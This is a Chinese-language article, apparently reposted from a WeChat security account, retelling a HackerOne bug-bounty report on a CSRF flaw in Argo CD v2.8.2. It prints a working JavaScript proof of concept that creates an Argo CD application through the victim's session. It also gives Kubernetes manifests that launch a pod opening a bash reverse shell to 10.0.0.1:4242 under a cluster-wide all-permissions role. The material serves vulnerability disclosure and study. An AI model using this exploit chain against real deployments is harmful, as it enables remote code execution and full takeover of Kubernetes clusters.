01—CSRF扩大战果
CSRF 攻击的工作原理是诱骗经过身份验证的 Argo CD 用户加载一个网页,该网页包含代表受害者调用 Argo CD API 端点的代码。例如,攻击者可以向 Argo CD 用户发送一个指向页面的链接,该页面看起来无害,但在后台调用 Argo CD API 端点以创建运行恶意代码的应用程序。
使用 Argo CD v2.8.2 启动一个示例环境来测试。攻击者控制 marketing.victim.com 的内容(例如,通过存储的 XSS)并希望以 argocd.internal.victim.com 为目标
本来CSRF危害是比较小的,但是如果CSRF可以在Kubernetes集群上创建具有管理员权限的pod,那么这个危害瞬间翻倍!
POC:
var
xhr = new
XMLHttpRequest
();
xhr.
open
('
POST'
, 'https:
//argocd.internal.victim.com/api/v1/applications');
xhr.setRequestHeader('
Content
-
Type'
, 'text/plain')
xhr.withCredentials =
true
;
xhr.send('{
"apiVersion"
:
"argoproj.io/v1alpha1"
,
"kind"
:
"Application"
,
"metadata"
:{
"name"
:
"test-app1"
},
"spec"
:{
"destination"
:{
"name"
:
""
,
"namespace"
:
"default"
,
"server"
:
"https://kubernetes.default.svc"
},
"source"
:{
"path"
:
"argotest1"
,
"repoURL"
:
"https://github.com/califio/argotest1"
,
"targetRevision"
:
"HEAD"
},
"sources"
:[],
"project"
:
"default"
,
"syncPolicy"
:{
"automated"
:{
"prune"
:
false
,
"selfHeal"
:
false
}}}}')
其中repoURL指向具有yaml定义的存储库,如:
apiVersion
:
v1
kind
:
ServiceAccount
metadata
:
name
:
my-sa
---
apiVersion
:
v1
kind
:
Pod
metadata
:
name
:
my-pod
spec
:
serviceAccountName
:
my-sa
containers
:
name: ubuntu
image
:
ubuntu:latest
command
:
["bash", "-c", "bash -i >& /dev/tcp/10.0.0.1/4242 0>&1"]
---
apiVersion
:
rbac.authorization.k8s.io/v1
kind
:
ClusterRole
metadata
:
name
:
my-role
rules
:
apiGroups: [""]
resources
:
["*"]
verbs
:
["*"]
---
apiVersion
:
rbac.authorization.k8s.io/v1
kind
:
ClusterRoleBinding
metadata
:
name
:
my-rolebinding
subjects
:
kind: ServiceAccount
name
:
my-sa
namespace
:
default
roleRef
:
kind
:
ClusterRole
name
:
my-role
apiGroup
:
rbac.authorization.k8s.io
这样子,CSRF搭配RCE,漏洞价值就急剧提升,把一个低危的漏洞变成了高危,不得不佩服歪果仁的脑洞,赏金截图:
原文链接:
https:
//hackerone.com/reports/2326194
原文始发于微信公众号(道玄网安驿站):价值$4,660的CSRF漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论